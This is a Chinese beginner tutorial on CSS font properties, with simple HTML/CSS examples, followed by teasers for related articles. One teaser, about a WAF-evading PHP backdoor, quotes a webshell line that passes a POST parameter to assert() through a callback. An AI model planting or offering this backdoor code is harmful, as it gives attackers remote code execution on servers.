字体属性介绍

  • CSS中的字体属性是干什么的呢？字体字体肯定和字体有关咯，就是设置HTML页面中文本的字体，

    CSS中常用的字体属性有几种呢，笔者给大家梳理了下，比较常用的一共有5种，今天我们就看看这5种能给文本的字体带来什么效果呢。
  • CSS 字体属性定义文本的字体系列、大小、加粗、风格（如斜体）。
  • 在CSS中常用的字体属性有5种，如：font-style、font-weight、font-size、font-family、font。

font-style设置斜体

  • font-style属性主要是给文本设置斜体用的。

font-style属性使用表

值 描述
normal 将斜体字体恢复正常。
italic 设置字体为斜体。

  • 让我们进入font-style属性的实践，实践内容如：将HTML页面中的p标签的文本字体设置为斜体。

  • 假如我们不使用font-style属性,可不可将p标签中的文本字体设置为斜体呢？，如果大家学习HTML还可以，应该知道在HTML当中有一个i标签，i标签的作用就是将文本的字体设置为斜体，自带的功能。

    有点啰嗦了哈，给初学者普及下细节哦。

  • 代码块

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>设置字体为斜体</title>

</head>

<body>

    <p>成功不是打败别人，而是改变自己。</p>

    <p><i>成功不是打败别人，而是改变自己。</i></p>

</body>

</html>

  • 结果图

  • 注意：使用font-style属性可以将i标签自带的斜体功能给去除掉，如：下面关键代码哦。

    <style>

        i{

            font-style: normal;

        }

    </style>
  • 使用font-style属性设置文本的字体为斜体。

  • 代码块

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>设置字体为斜体</title>

</head>

    <style>

        p{

            font-style: italic;

        }

    </style>

<body>

   <p>成功不是打败别人，而是改变自己。</p>

</body>

</html>

  • 结果图

font-weight设置字体粗细

  • font-weight属性是用来设置文本的字体粗细。

font-weight属性说明表

属性值 描述
normal 将文本的粗细恢复为正常。
bold 字体加粗。
100到900 字体加粗
  • 让我们进入font-weight属性实践，内容将HTML页面中的p标签文本字体加粗，笔者使用class属性值为.box将第一个p标签文本字体加粗为900，为什么用class属性值为.box呢，方便初学者理解，其余的都是一样的，就不过多的说明了。

  • 代码块

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>设置字体粗细</title>

</head>

    <style>

        .box{

            font-weight:900;

        }

    </style>

<body>

   <p class="box">成功不是打败别人，而是改变自己。</p>

    <p>成功不是打败别人，而是改变自己。</p>

</body>

</html>

  • 结果图

font-size设置字体大小

  • font-size属性就是设置文本的字体大小，由于font-size属性值比较单一，就不用font-size属性说明表解释了，font-size属性值是px为单位。

  • 让我们进入font-size属性的实践，实践内容如：将HTML页面中的p标签文本字体大小设置为14像素。

  • 代码块

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>设置字体大小</title>

</head>

    <style>

        p{

            font-size: 14px;

        }

    </style>

<body>

    <p>成功不是打败别人，而是改变自己。</p>

</body>

</html>

  • 结果图

font-family 设置字体

  • font-family属性给文本的字体设置风格，如：微软雅黑、楷体、宋体....
  • 园友都看到这里了，相信大家都有了一定的自学能力了，就不多介绍了，直接上关键的代码了，大家可以自己尝试各种字体哈。

  • 代码块

font-family: "微软雅黑";

  • 注意：font-family属性可以使用多个如：font-family: "微软雅黑","宋体",....;

  • 细节：一般很特殊的字体，网站上面都是使用图片来表示。是否能显示此字体是根据用户电脑里面是否对应的字体文件，如果没有该文件就会显示为宋体。

font字体设置的缩写

  • 缩写属性能够同时给文本设置斜体、加粗、大小、字体，每一个值之间要使用逗号隔开，并且一定要有顺序。
  • 让我们进入font字体设置缩写实践，实践内容如：将p标签中文本设置为斜体、加粗、大小、字体。

  • 代码块

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <title>字体设置的缩写</title>

</head>

    <style>

        p{

           font: italic 900 14px "微软雅黑";

        }

    </style>

<body>

    <p>成功不是打败别人，而是改变自己。</p>

</body>

</html>

  • 结果图

如何设置HTML页面中文本的字体的更多相关文章

  1. ADT开发中的一些优化设置：代码背景色、代码字体大小、代码自动补全

    初学Android开发,在网上找到一些ADT工具的优化,自己设置好了,截图保存下来.免得以后忘了. 1. 设置背景颜色: 色调85.饱和度90.亮度205 RGB:199.237.204 2. 设置代 ...

  2. Eclipse中项目面板字体的修改

    修改eclipse安装目录中的如下文件,添加黄色标记部分,并设定自己需要的字体大小(这里是10px)即可: \eclipse\plugins\org.eclipse.ui.themes_1.1.1.v ...

  3. 使用 JavaScript 中的 document 对象的属性，根据下拉框中选择的属性，更改页面中的字体颜色和背景颜色

    查看本章节 查看作业目录 需求说明: 使用 JavaScript 中的 document 对象的属性,根据下拉框中选择的属性,更改页面中的字体颜色和背景颜色 实现思路: 在页面的 <body&g ...

  4. MFC中修改静态文本框中文字的字体、颜色

    假设有一个静态文本框控件,其ID为:IDC_STATIC_XSDJ,且关联一个control类的CStatic类型的变量m_static_xsdj. 设置字体时自然要用到CFont类,下面介绍两种方法 ...

  5. VC++ 设置控件显示文本的前景色、背景色以及字体

    在每个控件开始绘制之前,都会向其父窗口发送WM_CTLCOLOR通告消息,在该消息的处理函数中,可以设置控件显示文本的前景色.背景色以及字体.该消息处理函数还要求返回一个画刷的句柄,用于在控件具体的绘 ...

  6. 【MFC】MFC改变对话框中静态文本的字体大小

    MFC改变对话框中静态文本的字体大小 2010/08/09 11:30 VC的对话框字体设置对所有控件都有效,你不能单独地改变某个静态文本的字体.对于你的问题,需要首先用CreateFont来建立一个 ...

  7. 为了安全请不要随意在页面中设置validateRequest="false"

    为了安全请不要随意在页面中设置validateRequest="false" 分类: ASP.NET2009-04-12 17:24 531人阅读 评论(0) 收藏 举报 asp. ...

  8. 如何给HTML页面的文本设置字符和单词间距

    设置字符和单词间距介绍 属性名 单位 描述 letter-spacing px 设置字符间距 word-spacing px 设置单词间距 letter-spacing设置字符间距 letter-sp ...

  9. Html中设置访问页面不在后进行其他页面跳转

    Html中设置访问页面不在后进行其他页面跳转 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" & ...

随机推荐

  1. 像智能手机一样管理云端应用：阿里云联合微软全球首发开放应用模型（OAM）

    2019 年 10 月 17 日上午 9 点 15 分,阿里巴巴合伙人.阿里云智能基础产品事业部总经理蒋江伟在 QCon 上海<基于云架构的研发模式演进>主题演讲中,正式宣布: " ...

  2. PHP后门之冷门回调函数(过waf)

    header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...

  3. javascript input只输入数字和字母

    <input type="text" placeholder="请输入您的用户名..."> <script type="text/j ...

  4. 为什么阿里巴巴Java开发手册中不建议在循环体中使用+进行字符串拼接？

    之前在阅读<阿里巴巴Java开发手册>时,发现有一条是关于循环体中字符串拼接的建议,具体内容如下: 那么我们首先来用例子来看看在循环体中用 + 或者用 StringBuilder 进行字符 ...

  5. opencv::Laplance算子

    Laplance算子 理论:在二阶导数的时候,最大变化处的值为零即边缘是零值.通过二阶导数计算,依据此理论我们可以计算图像二阶导数,提取边缘. 拉普拉斯算子(Laplance operator) 处理 ...

  6. Vulnhub靶场渗透练习(五) Lazysysadmin

    第一步扫描ip    nmap 192.168.18.*  获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...

  7. 三维动画形变算法（Mixed Finite Elements）

    混合有限元方法通入引入辅助变量后可以将高阶微分问题变成一系列低阶微分问题的组合.在三维网格形变问题中,我们考虑如下泛函极值问题: 其中u: Ω0 → R3是变形体的空间坐标,上述泛函极值问题对应的欧拉 ...

  8. git生成SSH秘钥

    1.进入git bash , 输入 cd ~/.ssh/ ,没有的话,自己创建 mkdir ~/.ssh , 然后进入该文件夹完成生成秘钥步骤 2.配置全局的name和email,这里是的你githu ...

  9. matlab 7遇到的错误 解决方法

    安装路径 参考D:\matlab7 安装最后一步弹出 未找到解决方法.不过没有发现有何影响. 安装完成后出现 1. To configure Real-Time Windows Target you ...

  10. Linux常用命令及示例（全）

    NO 分类 PS1 命令名 用法及参数 功能注解1 显示目录信息 # ls ls -a 列出当前目录下的所有文件,包括以.头的隐含文件 # ls ls -l或ll 列出当前目录下文件的详细信息 # l ...